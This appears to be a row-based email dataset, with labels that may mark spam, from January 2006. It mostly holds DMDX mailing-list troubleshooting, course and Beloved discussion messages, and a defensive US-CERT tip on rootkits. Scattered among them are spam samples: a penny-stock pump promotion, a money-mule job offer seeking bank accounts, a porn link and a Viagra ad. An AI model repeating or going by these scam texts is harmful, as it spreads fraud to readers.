B 0.68ms -101 * ""Brantly"" <%ms 300> /; Item 101 RT 101.00 -- Error Rate 0% Signal From button <+Taste 1> 43 84 97 115 116 101 32 49 Signal From button <-Taste 1> 45 84 97 115 116 101 32 49 Preparation A 0.26ms, B 0.62ms -102 * ""Skelve"" <%ms 300>/; Item 102 RT 102.00 -- Error Rate 0% Preparation A 0.32ms, B 0.51ms +2 * ""Jump"" <%ms 300>/; Signal From button <+Taste 0> 43 84 97 115 116 101 32 48 Signal From button <-Taste 0> 45 84 97 115 116 101 32 48 Signal From button <+Taste 1> 43 84 97 115 116 101 32 49 Signal From button <-Taste 1> 45 84 97 115 116 101 32 49 Signal From button <+Taste 1> 43 84 97 115 116 101 32 49 Item 2 RT 2.00 -- Error Rate 0% Signal From button <-Taste 1> 45 84 97 115 116 101 32 49 Preparation A 0.34ms, B 0.53ms 0 ""Press Space-Bar to proceed""; ITEM COUNT NOT ZERO (-4) Final error rate 0% Signal From button <+Leertaste> 43 76 101 101 114 116 97 115 116 101 Signal From button <-Leertaste> 45 76 101 101 114 116 97 115 116 101 Signal From button <+Esc> 43 69 115 99 Signal From button <-Esc> 45 69 115 99 Signal From button <+Leertaste> 43 76 101 101 114 116 97 115 116 101 JOB STOPPED Signal From button <-Leertaste> 45 76 101 101 114 116 97 115 116 101 ================= -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>- Axel Huth huth@phil-fak.uni-duesseldorf.de Public-Key unter: http://www.dfn-pca.de/pgpkserv/extract.html Key-ID=0x9d985dd48130dfe3 -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>- ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 ",<,"Tue, 24 Jan 2006 03:44:58 -0500",Looking for group,"Hello all, I'm looking for a group. It needs to be one of the last three projects since I'm a grad student, ideally 4 or 5. I've implemented a compiler in Java, so I have plenty of experience coding with it. Let me know if anyone is interested. - Rick Lavoie coldfury@bu.edu Next message: Assaf Kfoury: ""announcements for cs511"" Previous message: David Barron: ""project teams"" Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] This archive was generated by hypermail 2b29 : Tue May 23 2006 - 18:17:01 EDT",0,1 Bryan Gaensler ,Mark Claussen ,"Tue, 24 Jan 2006 10:12:19 -0500",Re: AG715,"> As an old hand at VLA+Pt link observing, you will remember that > the analysts need some time to create the Pt observing files from > your VLA observe file. Thus we'd like to have your VLA observe > file for AG715 at least a week before observe time. > > Again, as a veteran Pt link observer, you're not as likely to have > questions, but if you do run into anything while making your files, > don't hesitate to call me or send me email. Hi Mark, This observation will be a little different from previous PT runs, in that I will be using position switching and will be changing a lot between frequencies. I attach a file that might be similar to the one planned for AG715. Do you foresee any issues in observing in this way with PT? regards Bryan ",0,0 """R. Baker"" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Jan 2006 17:28:41 +0000",[DMDX] long sound files and typed responses,"I want to use DMDX to present some speech and record a typed response (participants type the sentence they hear). I have two questions regarding this. First, is it possible for DMDX to play a sound file and record responses at a number of points throughout the file? I have 35 sentences playing in continuous noise and ideally, I would like the participants to type in what they hear after each sentence without having to split the file into smaller files. Would the sound file need to be marked to tell DMDX when to record a response? Secondly, I can't seem to get DMDX to record a typed response. My script which plays 4 wav files is below. It runs fine but the output file is always blank. I would appreciate any advice on these two questions! Thanks, Rachel 0 ""Press SPACEBAR to start""/; ^1 ""stimuli3.d.wav"" / * ""What did you hear?"" /; ^7 ""stimuli4.d.wav"" / * ""What did you hear?"" /; ^3 ""stimuli5.d.wav"" / * ""What did you hear?"" /; ^13 ""stimuli6.d.wav"" / * ""What did you hear?"" /; 0 ""The END! Thank you for taking part."";",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Jan 2006 14:15:13 -0700",[DMDX] Re: long sound files and typed responses,"At 05:28 PM 1/24/2006 +0000, you wrote: >I want to use DMDX to present some speech and record a typed response >(participants type the sentence they hear). I have two questions regarding >this. > >First, is it possible for DMDX to play a sound file and record responses >at a number of points throughout the file? I have 35 sentences playing in >continuous noise and ideally, I would like the participants to type in >what they hear after each sentence without having to split the file into >smaller files. Would the sound file need to be marked to tell DMDX when to >record a response? It would have to be recording responses continuously or you will have to break the audio into sections. You could put markers in the file and tell DMDX to play between the markers but that's as much work as breaking it into sections. >Secondly, I can't seem to get DMDX to record a typed response. My script >which plays 4 wav files is below. It runs fine but the output file is >always blank. The square brackets are probably breaking things in your , is what you want. Not that you'll be able to gather 200 character strings as they won't fit on the screen. If you suppress feedback with it will work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Big Al's Law: A flying particle will seek the nearest eye.",0,0 Axel Huth ,"""j.c.f."" , DMDX@psy1.psych.arizona.edu","Tue, 24 Jan 2006 22:58:12 +0100",[DMDX] Re: no reaction to keyboard/Mouse input,"Dear Jonathan / listies, the problem is still there... I'm really desperated.. I really don't know what I do wrong... Anyone to whom I can send a sixpack?? Itemfile I tried: +1 ""camel"" / * ""LOBSTER"" /; -2 ""truck"" / * ""TRUNT"" /; +3 ""blackberry"" / * ""BLACKBERRY"" /; -4 ""carrot"" / * ""PRONK"" /; Wave-Files were played fine, I saw the written items, but no matter which button I pushed - no reaction by the program... hence no reaction times in the result file... (just the given timeout of 2500ms) Where is my problem???? Do I have to map something? how? I even tried to remove german region settings from windows (not that I really thought it would change something, but one never knows...;-) Kind regards, A*desperated*xel -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>- Axel Huth huth@phil-fak.uni-duesseldorf.de Public-Key unter: http://www.dfn-pca.de/pgpkserv/extract.html Key-ID=0x9d985dd48130dfe3 -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>-",0,1 Josefina Andersen ,romanianclub@columbia.edu,"Two, 24 Jan 2006 21: 7:35 -0060",Invest News,"50% price increase gets CWTD Listed on Stock Alert With Stockguru.com Company: China World Trade Corporation Symbol: CWTD 10 Day Climb: $1.14 - $1.615 Monday High: $1.72 Short Term: $2.25 - $2.50 Interest: Multiple Market Alerts Indicator: Strng Buy Due to HEAVY TRADING and Huge Price jumps over the last 10 days, CWTD has been listed on Stockguru.com and Stockhouse.com. CWTD has shown us solid returns over the last 10 climbing from $1.14 on Jan 11, to a high today of $1.72, a 50% increase. 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Salary will be commensurate with education and experience. The University of California is an Affirmative Action/Equal Opportunity employer. ------------------------------------------ David D. Oglesby Department of Earth Sciences University of California, Riverside ",0,1 Joao Verissimo ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 01:09:09 +0000",[DMDX] Re: no reaction to keyboard/Mouse input,"Hi, everyone. From what I read in the help file, it seems that DMDX has predefined mappings for keyboard, mouse and other devices. I might be quite wrong here, but could it be that these only apply to devices which are named ""Keyboard"" and ""Mouse"" ? If that were the case, since you have a device named ""Maus"", you would need to map request, positive, and negative responses in the .rtf file, using the , , and commands. Thanks, João Axel Huth wrote: > Dear Jonathan / listies, > > the problem is still there... > I'm really desperated.. I really don't know what I do wrong... > > Anyone to whom I can send a sixpack?? > > Itemfile I tried: > > > > +1 ""camel"" / * ""LOBSTER"" /; > -2 ""truck"" / * ""TRUNT"" /; > +3 ""blackberry"" / * ""BLACKBERRY"" /; > -4 ""carrot"" / * ""PRONK"" /; > > Wave-Files were played fine, I saw the written items, but no matter which button I pushed - no > reaction by the program... hence no reaction times in the result file... (just the given timeout of > 2500ms) > > Where is my problem???? > > Do I have to map something? how? > I even tried to remove german region settings from windows (not that I really thought it would > change something, but one never knows...;-) > > Kind regards, > A*desperated*xel > > > -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>- > Axel Huth > huth@phil-fak.uni-duesseldorf.de > > Public-Key unter: > http://www.dfn-pca.de/pgpkserv/extract.html > Key-ID=0x9d985dd48130dfe3 > -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>- > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Jan 2006 18:03:11 -0700",[DMDX] Re: no reaction to keyboard/Mouse input,"At 10:58 PM 1/24/2006 +0100, you wrote: >Dear Jonathan / listies, > >the problem is still there... You still have the Diagnostic checkbox checked then. Nothing else produces RTs that are equal to the item numbers. See the second page of the help: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhhowtouseit.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a yo-yo, and mankind ties knots in the string. ",0,1 Peter Straffon ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 13:50:00 +1100",[DMDX] Re: DMDX lockup - not responding,"Hi Jonathan et al, I promise to stop hassling really soon - at least for a while :-) Just wanted to update that I have tried other video modes being my first choice but it does not stop the lockups. I have found that removing the BMPs from the display, or at least placing multiple items of text between them appears to avoid the lockups. It looks like repeated BMP displays may play a part in the lockups. I have hacked the file so that one BMP is followed by 4 or 5 text only items and it works fine (6 trials, 0 lockups). I dont know if this is any points to some other issue or you can suggest anything else but until I try a full length version of the experiment it looks like I have a way to avoid the lockup. Thanks for the help and if you have any other suggestions please make them regards Peter At 02:23 AM 24/01/2006, you wrote: >At 05:33 PM 1/23/2006 +1100, you wrote: > >>Its a brand new machine, only arrived just before Xmas and I have >>already downloaded the latest drivers from Dell. >> >>Have tried the ""Really bad cards"" - did not seem to help but I >>tried ""DMDX -buffers 2"" and it looked better (actually worked all >>the way on the first attempt but locked up on the second). > > Pretty sure ""Really Bad"" is -buffers 2. > >> A few attempts using ""-buffers 2"" gives me a lockup rate of >> about 50% of trials compared to close to 100% before. >> >>The Dell Optiplex GX520 uses Intel 945G Express Chipset on the M/B. > > Hmm, sounds similar to another issue we saw here for a while but > I'm not recalling what the final solution to that one was. I'm > thinking it was SP2 problem or was a problem resolved by installing > SP2. OTOH, sometimes a video driver is just flat out going to have > errors in it and DMDX relies on a feature of DirectX that almost no > one else uses let alone uses in a fashion like DMDX does so until I > got MS to make the way DMDX uses video drivers part of their WHQL > testing a LOT of drivers failed. > > You could try it without any graphics, the problem I'm vaguely > recalling had to do with bitmaps and screen resolutions. Ohh, > there it is, , you're using a 8 bit color > depth. Absolutely don't use 256 color mode, it's busted even in > working video drivers. > /""\\ > -jonathan (j.c.f.) \\ /",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Jan 2006 21:30:13 -0700",[DMDX] Re: no reaction to keyboard/Mouse input,"At 01:09 AM 1/25/2006 +0000, you wrote: >Hi, everyone. > > >From what I read in the help file, it seems that DMDX has predefined >mappings for keyboard, mouse and other devices. > >I might be quite wrong here, but could it be that these only apply to >devices which are named ""Keyboard"" and ""Mouse"" ? > >If that were the case, since you have a device named ""Maus"", you would >need to map request, positive, and negative responses in the .rtf file, >using the , , and commands. Yeah, if he's actually got Diagnostics off and is seeing the timeout interval for an RT then it's the usual mapping scenario covered here and in the help any number of times in the past. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a yo-yo, and mankind ties knots in the string.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Jan 2006 21:41:23 -0700",[DMDX] Re: DMDX lockup - not responding,"At 01:50 PM 1/25/2006 +1100, you wrote: >Hi Jonathan et al, > I promise to stop hassling really soon - at least for a while :-) > >Just wanted to update that I have tried other video modes 1024,768,16,0> being my first choice but it does not stop the lockups. I >have found that removing the BMPs from the display, or at least placing >multiple items of text between them appears to avoid the lockups. It >looks like repeated BMP displays may play a part in the lockups. I have >hacked the file so that one BMP is followed by 4 or 5 text only items and >it works fine (6 trials, 0 lockups). > >I dont know if this is any points to some other issue or you can suggest >anything else but until I try a full length version of the experiment it >looks like I have a way to avoid the lockup. > >Thanks for the help and if you have any other suggestions please make them Yeah, very similar to a situation I saw here a year or two ago on one machine that was tied to BMP files as well. It's possible I ditched the video card in the machine that had the problems, alas I can't recall. I seem to recall being disappointed as it was a video card I had particular trust in (a TNT2 if I recall correctly). You might try 24 bit video modes as they tend to be in use more than any others and are thus likely to be more stable. Other things to try are to change the way the bitmaps are made (can't recall if that was the solution here, might have been). Try different color depths in the bitmaps, even if you have to go to 8 bit bitmaps it doesn't matter as the bitmap is up-sampled to whatever the display is. I'll as the person that was doing the work if they recall what the problem was or what my solution was. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a yo-yo, and mankind ties knots in the string.",0,0 ,beloved1@madeiracityschools.org,"Tue, 24 Jan 2006 21:12:44 -0800",beloved #1,"I have never actually realized the power of jealousy until reading part of Beloved. But it in reality its quite obvious. Jealousy leads to pride which leads to selfish action and that ultimately breaks a community. That community was all that these freed slaves could count on. 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With our Vi@gra Soft Tabs y0u will m@ke her yours forever.,1,1 Axel Huth ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 13:41:52 +0100",[DMDX] Re: Solved: no reaction to keyboard/Mouse input,"> At 10:58 PM 1/24/2006 +0100, you wrote: > >Dear Jonathan / listies, > > > >the problem is still there... > > You still have the Diagnostic checkbox checked then. Nothing else > produces RTs that are equal to the item numbers. See the second page > of the help: > > http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhhowtouseit.htm > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Life is a yo-yo, and mankind ties knots in the string. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email to > be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>- Axel Huth huth@phil-fak.uni-duesseldorf.de Public-Key unter: http://www.dfn-pca.de/pgpkserv/extract.html Key-ID=0x9d985dd48130dfe3 -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>-",0,1 Axel Huth ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 14:02:02 +0100",[DMDX] Re: Solved: no reaction to keyboard/Mouse input,"sorry the posting before this one was an accident ;-) > At 10:58 PM 1/24/2006 +0100, you wrote: > >Dear Jonathan / listies, > > > >the problem is still there... > > You still have the Diagnostic checkbox checked then. Nothing else > produces RTs that are equal to the item numbers. See the second page > of the help: No, I'm sorry - I removed everything with diagnostics and testmode from the rtf-File..and the checkbox in DMDX-Dialogue - the problem was still there... Now, I got reaction times in the result file and all seems fine... ======== I'm sorry I did not protocol every step I made but here is what I did so far: I switched to another experiment ""picture"" in the dmdx-tutorial.zip I tried to use {umb | umpr | umnr} tried to experiment with ... => wrong syntax: Syntax check gave me: ""button name <+#3> not found on input devices"" Then I came to: and I switched to instead of and suddenly I realized there appear the times when I pushed a button and i wondered... switched back to and : it worked It seems to me that the point is: for non-english keyboards (""Tastatur"" instead of ""keyboard"") one has to have the setting ...(NOT <#Tastatur!> which I used first) I can't say whether it was crucial to use some unmapping once but this is working now for me: .... Thanks for all.... I'm looking forward to explore DMDX more deeply now :) Kind regards, Axel -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>- Axel Huth huth@phil-fak.uni-duesseldorf.de Public-Key unter: http://www.dfn-pca.de/pgpkserv/extract.html Key-ID=0x9d985dd48130dfe3 -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>-",0,1 """R.H. Smith"" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 13:39:51 +0000",[DMDX] Millisecond Timer Test,"Dear DMDX-ers, I'm sure this is a dumb question, but hope someone can help me out. When I run the Millisecond Timer Test in TimeDX, I get a mean of 1.0 ms, SD around 0.90 ms. Is this an unacceptably high SD? My machine is a Toshiba Tecra, running Win98SE, and can be used with a PIO12. Any advice gratefully appreciated! Best regards Rachel Smith ____________________________________________________________________ Rachel Smith RFB 302, Dept. of Linguistics, Sidgwick Ave., Cambridge CB3 9DA Tel.: +44 (0)1223 763144 Fax.: +44 (0)1223 335053 ",0,0 ajones8@uoregon.edu,ajones8@uoregon.edu,"Wed, 25 Jan 2006 08:02:31 -0800",4 slide ppt feedback,"Here is your feedback!!! If you want to make changes and resubmit, the deadline is Wednesday, February 8th. Add a reply to your current thread, and post the revision. Allison",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 08:06:52 -0700",[DMDX] Re: Millisecond Timer Test,"At 01:39 PM 1/25/2006 +0000, you wrote: >Dear DMDX-ers, > >I'm sure this is a dumb question, but hope someone can help me out. > >When I run the Millisecond Timer Test in TimeDX, I get a mean of 1.0 ms, >SD around 0.90 ms. Is this an unacceptably high SD? My machine is a >Toshiba Tecra, running Win98SE, and can be used with a PIO12. Depends on the size of the effect you will be trying to measure. If it's only a 5 millisecond effect then imposing an additional variability of over a millisecond to the RTs isn't going to be so great. If on the other hand you're looking for a 50 millisecond effect then the larger SD isn't going to be any problem. Not that you couldn't measure the 5 ms effect with the larger SD, you'll just need more trials... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a yo-yo, and mankind ties knots in the string. ",0,0 Jorge McCay em ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 20:00:43 +1000", Job offer !!! from Any Pay company. nBxR," NNFH Good afternoon ladies and gentlemen. Our company is glad to offer you Work the Internet of the manager in our company. Working with our company, you can earn from 1000 euros up to 2400 euros day. For what to get a job in our company you should have the bank account or Pay Pal account. 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MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit adorable russian exquisite Teenies here! http://pornopussysex.info/fphsporn.htm?iSPhfd.fX,hj U,N,$,U,B,$,C,R,I,B,,E http://pornopussysex.info ",1,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Wed, 25 Jan 2006 12:15:07 -0500","SCHEDULE - Heyman Center Events, Spring 2006","The Heyman Center for the Humanities Schedule of Events, Spring 2006 For more information about any or all of these events, please visit http://www.heymancenter.org. Please note: Patti Smith tickets are $5, and available at Miller Theater Box Office. On-line registration is required for ""Reporting War""-- see below for instructions. ALL OTHER EVENTS ARE FREE AND OPEN TO THE PUBLIC. SEATING IS FIRST COME FIRST SERVED and NO RESERVATIONS ARE REQUIRED. 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Heyman Center http://www.columbia.edu/about_columbia/map/heyman.html Miller Theater http://www.columbia.edu/about_columbia/map/miller_theater.html Faculty House http://www.columbia.edu/about_columbia/map/faculty_house.html Low Library http://www.columbia.edu/about_columbia/map/low.html International Affairs Building http://www.columbia.edu/about_columbia/map/international_affairs.html Jerome Greene Hall (Law School) http://www.columbia.edu/about_columbia/map/greene.html ",0,1 """R.H. Smith"" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 19:53:12 +0000",[DMDX] Re: Millisecond Timer Test,"That makes a lot of sense. Many thanks!! A second question is: have I understood correctly from your comparisons of various input devices, that a (non-USB) mouse with the ball taken out may record RTs less variably than a keyboard? best, Rachel ____________________________________________________________________ Rachel Smith RFB 302, Dept. of Linguistics, Sidgwick Ave., Cambridge CB3 9DA Tel.: +44 (0)1223 763144 Fax.: +44 (0)1223 335053 On Wed, 25 Jan 2006, j.c.f. wrote: > At 01:39 PM 1/25/2006 +0000, you wrote: >> Dear DMDX-ers, >> >> I'm sure this is a dumb question, but hope someone can help me out. >> >> When I run the Millisecond Timer Test in TimeDX, I get a mean of 1.0 ms, SD >> around 0.90 ms. Is this an unacceptably high SD? My machine is a Toshiba >> Tecra, running Win98SE, and can be used with a PIO12. > > Depends on the size of the effect you will be trying to measure. If it's > only a 5 millisecond effect then imposing an additional variability of over a > millisecond to the RTs isn't going to be so great. If on the other hand > you're looking for a 50 millisecond effect then the larger SD isn't going to > be any problem. Not that you couldn't measure the 5 ms effect with the > larger SD, you'll just need more trials... > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Life is a yo-yo, and mankind ties knots in the string. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 12:56:34 -0700",[DMDX] Re: Millisecond Timer Test,"At 07:53 PM 1/25/2006 +0000, you wrote: >That makes a lot of sense. Many thanks!! A second question is: have I >understood correctly from your comparisons of various input devices, that >a (non-USB) mouse with the ball taken out may record RTs less variably >than a keyboard? Depends on the mouse, depends on the keyboard, anything's possible. I've seen and heard of some wild results that I never would have predicted. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Big Al's Law: A flying particle will seek the nearest eye. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Jan 2006 13:05:46 -0700",[DMDX] Re: DMDX lockup - not responding,"At 01:50 PM 1/25/2006 +1100, you wrote: >Hi Jonathan et al, > I promise to stop hassling really soon - at least for a while :-) > >Just wanted to update that I have tried other video modes 1024,768,16,0> being my first choice but it does not stop the lockups. I >have found that removing the BMPs from the display, or at least placing >multiple items of text between them appears to avoid the lockups. It >looks like repeated BMP displays may play a part in the lockups. I have >hacked the file so that one BMP is followed by 4 or 5 text only items and >it works fine (6 trials, 0 lockups). > >I dont know if this is any points to some other issue or you can suggest >anything else but until I try a full length version of the experiment it >looks like I have a way to avoid the lockup. > >Thanks for the help and if you have any other suggestions please make them Turns out the problem here was coincidentally involving bitmaps, the real culprit was an antivirus program periodically popping up and splattering DMDX's access to the screen. So if you've got something that can pop stuff up, disable it for the duration of DMDX's running at the very least. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Big Al's Law: A flying particle will seek the nearest eye.",0,0 US-CERT Security Tips ,security-tips@us-cert.gov,"Wed, 25 Jan 2006 16:52:41 -0500",US-CERT Cyber Security Tip ST06-001 -- Understanding Hidden Threats: Rootkits and Botnets ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cyber Security Tip ST06-001 Understanding Hidden Threats: Rootkits and Botnets Attackers are continually finding new ways to access computer systems. The use of hidden methods such as rootkits and botnets has increased, and you may be a victim without even realizing it. What are rootkits and botnets? A rootkit is a piece of software that can be installed and hidden on your computer without your knowledge. It may be included in a larger software package or installed by an attacker who has been able to take advantage of a vulnerability on your computer or has convinced you to download it (see Avoiding Social Engineering and Phishing Attacks for more information). Rootkits are not necessarily malicious, but they may hide malicious activities. Attackers may be able to access information, monitor your actions, modify programs, or perform other functions on your computer without being detected. Botnet is a term derived from the idea of bot networks. In its most basic form, a bot is simply an automated computer program, or robot. In the context of botnets, bots refer to computers that are able to be controlled by one, or many, outside sources. An attacker usually gains control by infecting the computers with a virus or other malicious code that gives the attacker access. Your computer may be part of a botnet even though it appears to be operating normally. Botnets are often used to conduct a range of activities, from distributing spam and viruses to conducting denial-of-service attacks (see Understanding Denial-of-Service Attacks for more information). Why are they considered threats? The main problem with both rootkits and botnets is that they are hidden. Although botnets are not hidden the same way rootkits are, they may be undetected unless you are specifically looking for certain activity. If a rootkit has been installed, you may not be aware that your computer has been compromised, and traditional anti-virus software may not be able to detect the malicious programs. Attackers are also creating more sophisticated programs that update themselves so that they are even harder to detect. Attackers can use rootkits and botnets to access and modify personal information, attack other computers, and commit other crimes, all while remaining undetected. By using multiple computers, attackers increase the range and impact of their crimes. Because each computer in a botnet can be programmed to execute the same command, an attacker can have each of them scanning multiple computers for vulnerabilities, monitoring online activity, or collecting the information entered in online forms. What can you do to protect yourself? If you practice good security habits, you may reduce the risk that your computer will be compromised: * Use and maintain anti-virus software - Anti-virus software recognizes and protects your computer against most known viruses, so you may be able to detect and remove the virus before it can do any damage (see Understanding Anti-Virus Software for more information). Because attackers are continually writing new viruses, it is important to keep your definitions up to date. Some anti-virus vendors also offer anti-rootkit software. * Install a firewall - Firewalls may be able to prevent some types of infection by blocking malicious traffic before it can enter your computer and limiting the traffic you send (see Understanding Firewalls for more information). Some operating systems actually include a firewall, but you need to make sure it is enabled. * Use good passwords - Select passwords that will be difficult for attackers to guess, and use different passwords for different programs and devices (see Choosing and Protecting Passwords for more information). Do not choose options that allow your computer to remember your passwords. * Keep software up to date - Install software patches so that attackers can't take advantage of known problems or vulnerabilities (see Understanding Patches for more information). Many operating systems offer automatic updates. If this option is available, you should enable it. * Follow good security practices - Take appropriate precautions when using email and web browsers to reduce the risk that your actions will trigger an infection (see other US-CERT security tips for more information). Unfortunately, if there is a rootkit on your computer or an attacker is using your computer in a botnet, you may not know it. Even if you do discover that you are a victim, it is difficult for the average user to effectively recover. The attacker may have modified files on your computer, so simply removing the malicious files may not solve the problem. If you believe that you are a victim, consider contacting a trained system administrator. As an alternative, some vendors are developing products and tools that may remove a rootkit from your computer. If the software cannot locate and remove the infection, you may need to reinstall your operating system, usually with a system restore disk that is often supplied with a new computer. Note that reinstalling or restoring the operating system typically erases all of your files and any additional software that you have installed on your computer. _________________________________________________________________ Author: Mindi McDowell _________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use This document can also be found at For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ9fys30pj593lg50AQIZdQf/Xeedvp2w7pLMuHHrRV4qtz1jMmDk51g8 lUQkXNNDD1uFTLSumnAjn+4dwBDmbhH98rxAFERAxPuJriqeLXYPp5cS+lohfTnm 9a9T+7ShVhC2m2eIeFtLkLvD7MAVYKcx6ekSOTljgIupg5LfrqgzRiYp1VuTREp0 T1cmbG/LRrVb/ge0NCbO2ErwXV7lobLvs+sBGd7jrdlTNzNXHbYfJzuX+G0+1aJI zEVZmCEJHNmds9baU76+miofh1P4ZunUpQHDr8Z/lXix3gUj/NphmKgDBL+Pmtwu RwkuRr81B2BkTVml5ZCFWZCVCJ1UIShZN7gwHC2h2TxtYsrIqQo/nw== =8zW8 -----END PGP SIGNATURE-----",0,1 ,Discussion of Beloved Group 1 ,"Wed, 25 Jan 2006 11:26:24 -0800","to taylor, a possible answer to Q on sex with Paul and Beloved","Taylor, I just had this discussion with Mrs. Hammond. There could be several reasons Beloved forces herself upon Paul D. The foremost one is that it is a way for her to try to distance him from Sethe. She is a child who is willing to go to any ends in order to preserve her mother for herself. As we saw, she kept moving him farther away from his original bedroom and eventually out into the cold house where the sexual relations take place. He feels so much shame over his actions with Beloved that his ""tin"" became a ""red heart"" b/c he felt an emotion--shame--for the first time in a long time. That is why he feels compelled to see Sethe and confess to her but instead he asks for a baby. He eventually puts his shame on her b/c he can't handle his emotions nor the shame he feels about Sethe's desperate act; instead of handling it, he calls her an animal. That's just one of a couple theories. you'll have to ask Mrs. Hammond about the one involving a siren-type creature that is found in folklore. ~Brittany --- Taylor Lionberger wrote: > ---------- Forwarded message ---------- > From: Taylor Lionberger > Date: Jan 23, 2006 4:49 PM > Subject: Taylor Lionberger > To: Beloved1@maderiacityschools.org > > A portion of the novel that I canno't quite > understand occurs on page > 137, when Beloved forces herself on Paul D. I > understand that Beloved's > actions towards Paul D. here are far from sensual or > loving, as ""touching > (someone) on the inside part"" would (and likely > should) generally be under > normal circumstance, but is there particular > significance (like I feel their > should be) to the fact that Beloved wants this from > Paul D.. Also, what is > the significance of Paul D. uttering ""Red Heart"" > repeatedly during the whole > process? > Also, does Beloved actually disappear in while > Beloved and Denver are > fetching cider to warm up in Chapter 11? And in the > same chapter, what is > the meaning of ""after a year of the wonderful little > i,"" mentioned on page > 143? > > Taylor Lionberger > > Note: > I sent the message earlier, however, it was returned > to me, so i'm resending > to .org AND .com, heres my mail delivery return note > as proof > Delivery to the following recipient failed > permanently: > > Beloved1@maderiacityschools.org > > Technical details of permanent failure: > PERM_FAILURE: DNS Error: Domain name not found > > ----- Original message ----- > > Received: by 10.37.2.65 with SMTP id > e65mr4278184nzi; > Mon, 23 Jan 2006 13:49:39 -0800 (PST) > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com",0,1 ,Beloved1@madeiracityschools.org,"Wed, 25 Jan 2006 14:58:20 -0500","Taylor: Response to Jesse (third time i've tried sending, hope it works)"," Upon thinking about your comment, I find that. personally, the ghost material might be a bit heavily used in her novel, but I personally believe it adds a bit of additional drama and entertainment. It might be different for you if you werent reading this book in a classroom setting, in which alot of the details behind the novel might have been disclosed to you prematurely. One of the joys that I've discovered from this novel is how things tend to fall into place as the story progresses, and the many embodiments of Beloved serve as a puzzle for the reader to solve as s/he reads. Kindof like a mystery novel. As for the various characters' concepts of reality, I think that a couple more might be a bit skewed in their perspectives. Sethe for example, under the emotional stress she is under with the memories of her past, has displayed something of an unrealistic form of love, ""too thick"" as Paul D. describes it. A love that can drive someone to commit murder I can hardly find realistic, understandable, sure, but not realistic. And Denver seems pretty detached from reality herself in that she is forced to, out of desperation, rely on a decrepit wanderer for her only source of company and appreciation. I suppose my point is that I think 